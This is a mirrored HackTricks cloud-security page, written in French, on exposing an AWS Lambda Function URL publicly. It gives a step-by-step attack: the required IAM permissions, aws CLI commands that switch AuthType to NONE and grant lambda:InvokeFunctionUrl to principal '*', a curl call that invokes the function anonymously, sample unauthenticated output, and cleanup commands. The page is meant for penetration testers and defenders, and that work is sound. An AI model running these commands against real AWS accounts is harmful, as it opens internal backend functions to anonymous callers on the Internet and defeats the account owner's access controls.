mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-22 23:26:41 -08:00
1.9 KiB
1.9 KiB
AWS - Lambda Function URL Public Exposure (AuthType NONE + Public Invoke Policy)
Transformer une Lambda Function URL privée en un endpoint public non authentifié en changeant l'AuthType de la Function URL sur NONE et en attachant une resource-based policy qui accorde lambda:InvokeFunctionUrl à tout le monde. Cela permet l'invocation anonyme de fonctions internes et peut exposer des opérations backend sensibles.
Abusing it
- Pré-requis : lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
- Région : us-east-1
Steps
- S'assurer que la fonction possède une Function URL (par défaut AWS_IAM) :
aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
- Basculer l'URL en public (AuthType NONE) :
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE
- Ajouter une resource-based policy pour autoriser des principaux non authentifiés :
aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE
- Récupérer l'URL et invoquer sans identifiants :
URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query FunctionUrl --output text)
curl -sS "$URL"
Impact
- La fonction Lambda devient accessible de manière anonyme sur Internet.
Example output (unauthenticated 200)
HTTP 200
https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
{"message": "HackTricks demo: public Function URL reached", "timestamp": 1759761979, "env_hint": "us-east-1", "event_keys": ["version", "routeKey", "rawPath", "rawQueryString", "headers", "requestContext", "isBase64Encoded"]}
Nettoyage
aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true